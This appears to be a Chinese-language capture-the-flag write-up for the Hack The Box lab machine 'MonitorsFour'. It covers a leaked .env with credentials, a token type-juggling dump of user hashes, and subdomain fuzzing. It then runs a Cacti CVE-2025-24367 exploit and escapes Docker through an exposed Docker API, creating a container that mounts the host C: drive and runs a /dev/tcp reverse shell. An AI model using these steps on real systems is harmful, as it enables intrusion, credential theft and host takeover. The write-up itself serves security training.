写host
echo "10.10.11.98 monitorsfour.htb DC01.monitorsfour.htb" >> /etc/hosts;Nmap

80端口一个网站,不是什么主流框架

Dirsearch

有一个.env泄露

DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r
不过3306端口没有开在外网

里面的contact有一个报错

user有信息

这里尝试一下传一下token参数,GET传参时发现字母或者除0以外的数字都没反应

传0的时候回显出了信息

[{"id":2,"username":"admin","email":"admin@monitorsfour.htb","password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user","token":"8024b78f83f102da4f","name":"Marcus Higgins","position":"System Administrator","dob":"1978-04-26","start_date":"2021-01-12","salary":"320800.00"},{"id":5,"username":"mwatson","email":"mwatson@monitorsfour.htb","password":"69196959c16b26ef00b77d82cf6eb169","role":"user","token":"0e543210987654321","name":"Michael Watson","position":"Website Administrator","dob":"1985-02-15","start_date":"2021-05-11","salary":"75000.00"},{"id":6,"username":"janderson","email":"janderson@monitorsfour.htb","password":"2a22dcf99190c322d974c8df5ba3256b","role":"user","token":"0e999999999999999","name":"Jennifer Anderson","position":"Network Engineer","dob":"1990-07-16","start_date":"2021-06-20","salary":"68000.00"},{"id":7,"username":"dthompson","email":"dthompson@monitorsfour.htb","password":"8d4a7e7fd08555133e056d9aacb1e519","role":"user","token":"0e111111111111111","name":"David Thompson","position":"Database Manager","dob":"1982-11-23","start_date":"2022-09-15","salary":"83000.00"}]测试发现0以及0e后面跟任何数字即可触发这个
cmd5直接查出来了,还以为又要让我爆米呢

admin登录
以admin为用户名进行登录

发现不行,很日,Tasks那里也不能新建任务.然后找不到其他接口,这个账密肯定有用的呀.感觉估计是其他地方还有服务,考虑一下子域名,之前Titanic那台机器就是这样的.不过对于HTB这种内网环境来说,还需要配置泛解析.
泛解析
方法一 dnsmasq设置全局DNS解析
kali
sudo apt update
sudo apt install dnsmasq -y
sudo mousepad /etc/dnsmasq.d/monitorsfour.conf
写入 address=/monitorsfour.htb/10.10.11.98
sudo systemctl restart dnsmasq //重启服务
sudo systemctl status dnsmasq //查看服务状态
sudo mousepad /etc/resolv.conf
写入 nameserver 127.0.0.1 //注意是写在原有nameserver之前,不能写后面也不能删除原来的
最后ping命令进行测试
ping a.monitorsfour.htb
方法二 用Host头绕过DNS解析
其实就是访问的url是ip,但是携带的Host头是子域名,让服务器自己去解析并返回,最终要让浏览器访问的话还需要加一个hosts才行
子域名爆破
推荐一个字典仓库https://github.com/danielmiessler/SecLists/
里面关于/Discovery/DNS/subdomains-top1million-20000.txt 可以用来进行爆破子域名
爆破子域名用ffuf工具来搞,测试发现访问随机域名会302跳转,size是138
方法一
ffuf -w SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt -u http://FUZZ.monitorsfour.htb -fs 138

方法二
ffuf -w SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt -u http://10.10.11.98 -H "Host: FUZZ.monitorsfour.htb" -fs 138

其实就是cacti.monitorsfour.htb
新服务-cacti_panel
访问后是这个页面

尝试admin为用户名进行登录发现不行,奇怪!?
各种尝试后发现,用户名是那个name里面的那个名。也就是Marcus


进去后长这样,nuclei扫描发现是cacti-panel框架

不过没有扫出来漏洞,主动找一下,通常都是2025年的,只有一个,版本1.1.28也能打

github上有一个https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC
python CVE-2025-24367.py -u marcus -p wonderful1 -i 10.10.17.* -l 1234 -url http://cacti.monitorsfour.htb user.txt
弹shell后一条命令上线vshell

/home/marcus 下面找到user.txt
Docker逃逸
环境是docker的,要拿到root.txt还需要进行逃逸.ip a 在172.18段,不过我fscan传上去后扫了整个172.18都没东西,唉

Docker有一个关于dns设置的文件/etc/resolv.conf 这个文件里面写了有关docker dns解析的东西

这里面说了会转发给这个192.168 的机器解析,这肯定重要呀.fscan一扫就出

Docker Engine Remote API 可以实现对任何容器的创建和启动,并能够实现命令执行和目录挂载
Docker Desktop+WSL2
uname -a 得知这个实际上是Windows机器Docker Desktop起的一个wsl docker容器

在wsl2中,通常来说Windows的C盘是映射的WSL的/mnt/c
但在Docker Desktop里还会再做一次挂载,变成了/mnt/host/c
逃逸思路
这里我们已经能够实现对已有的任意镜像的容器搭建与启动,并能够执行命令和挂载目录.
我首先想到的是cdk,不过这个环境比较复杂加上主机不出网,cdk关于此的利用原理需要拉取一个docker镜像(并且可能不太适用于Windows这种)
所以说只能手打

通过执行curl http://192.168.65.7:2375/images/json 可以发现已有的镜像,可以随便找一个有bash的,比如说docker_setup-nginx-php:latest

- 首先创建容器,挂载Windows的C盘(
/mnt/host/c)到容器根目录的/host_root,并执行反弹shell命令,将返回结果输出到create.json
curl -X POST \
-H "Content-Type: application/json" \
-d '{
"Image":"docker_setup-nginx-php:latest",
"Cmd":["bash","-c","bash -i >& /dev/tcp/10.10.*.*/1234 0>&1"],
"HostConfig":{
"Binds":["/mnt/host/c:/host_root"]
}
}' \
-o create.json \
http://192.168.65.7:2375/containers/create- 自己机器做好监听,然后获取上一步命令生成的create.json里面的容器ID
cid=$(cut -d'"' -f4 create.json)- 启动该容器
curl -X POST \
-d '' \
http://192.168.65.7:2375/containers/$cid/startroot.txt
此时就会有一条关于容器的shell弹过来

如果要做逃逸的话还需要在c:\\windows\system32\tasks 里面写定时任务,Linux的话就是/etc/crontab